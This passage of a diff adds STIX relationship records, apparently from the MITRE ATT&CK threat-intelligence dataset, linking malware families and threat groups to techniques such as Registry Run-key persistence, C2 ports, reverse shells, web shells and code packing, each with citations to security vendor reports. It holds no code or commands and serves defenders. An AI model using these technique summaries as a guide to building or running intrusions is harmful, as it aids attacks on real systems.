"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Carbon](https://attack.mitre.org/software/S0335) can list the processes on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.840Z", + "id": "relationship--e6f2f304-e637-4636-a238-b30904ce11fc", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) uses DES to encrypt the C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.447Z", + "id": "relationship--a5f33976-796d-46b8-9c5f-5545ef25c03f", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.921Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) creates a RunOnce key in the Registry to execute its VBS scripts each time the user logs on to the machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.519Z", + "id": "relationship--dd417d31-d129-44ac-8a9f-b14b79235dfa", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.939Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.", + "source_name": "Cofense NanoCore Mar 2018", + "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.177Z", + "id": "relationship--61986499-5358-4edc-aab1-6a13ae0f7c06", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses HTTP and SMTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.574Z", + "id": "relationship--389029e4-c8bc-48e7-9e46-ca513eeda5ca", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.889Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses port 26 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.694Z", + "id": "relationship--e57d5424-fa14-4007-bad7-734a045b3879", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.664Z", + "id": "relationship--d8c933d5-f44d-4e3b-ae15-f94518320995", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.920Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "Several [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) tools encode data with base64 when posting it to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.377Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can collect IP addresses and local intranet information from a victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.879Z", + "id": "relationship--f5548cf6-d6d8-401e-997c-ee72642d691c", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.442Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component is a Web Shell payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:54.013Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current user's name and SID.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.466Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT18](https://attack.mitre.org/groups/G0026) establishes persistence via the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.912Z", + "id": "relationship--e47f03aa-09b3-45a2-927d-b2cd96e7c444", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.837Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "source_name": "Anomali Evasive Maneuvers July 2015", + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + }, + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "A [QuasarRAT](https://attack.mitre.org/software/S0262) .dll file is digitally signed by a certificate from AirVPN.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cf0b5987-3d37-481c-979c-36c597b91fc5", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.606Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:15.050Z", + "id": "relationship--e391c03a-9ef4-436f-8ab5-2c15168c9551", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.396Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses cmd.exe to create a reverse shell on the infected endpoint.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.728Z", + "id": "relationship--1719d211-582f-4ae9-90f4-2ec984360927", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.612Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload information about all running processes to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) uses Port Number 8080 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.426Z", + "id": "relationship--2a481cb4-52b4-4d7e-80ff-d40c92e5fa1c", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.238Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the username from a victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.200Z", + "id": "relationship--395fbd2c-7827-49b3-8121-72d54181f0b1", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.763Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses a WMI event subscription to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f758836e-91b2-4651-ba72-d827553b668c", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.115Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:04:29.735Z", + "id": "relationship--8b42462a-0d66-4740-8f48-0857ab523370", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.872Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to gather NTLM password information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "source_name": "Symantec Backdoor.Mivast", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.210Z", + "id": "relationship--48649215-087c-4ded-925c-f2c3f57dcba1", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim PC name and OS version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.676Z", + "id": "relationship--5f179b5c-497f-42da-bc32-360b6113122b", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used ports 25 and 80 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.262Z", + "id": "relationship--112b0183-25f5-4a58-8b50-c41fcae19784", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.917Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) enumerates information about connected storage devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.354Z", + "id": "relationship--45f3afcd-d0b7-494b-a61a-cad724dbf72a", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.766Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to add its own account to the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fe99ee01-a049-4867-bf3b-27d05461b0b3", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to download and execute a file on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.132Z", + "id": "relationship--5cb54f4b-f615-44ad-94d6-136ff507c2d6", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.976Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "Commands such as net use and net session can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about network connections from a particular host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [at](https://attack.mitre.org/software/S0110) to schedule tasks to run self-extracting RAR archives, which install [HTTPBrowser](https://attack.mitre.org/software/S0070) or [PlugX](https://attack.mitre.org/software/S0013) on other victims on a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "The \"Uploader\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) visits a hard-coded server over HTTP/S to download the images [HAMMERTOSS](https://attack.mitre.org/software/S0037) uses to receive commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4556634c-06f7-48f9-bcaa-22d023524068", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "modified": "2019-10-11T19:07:42.400Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye 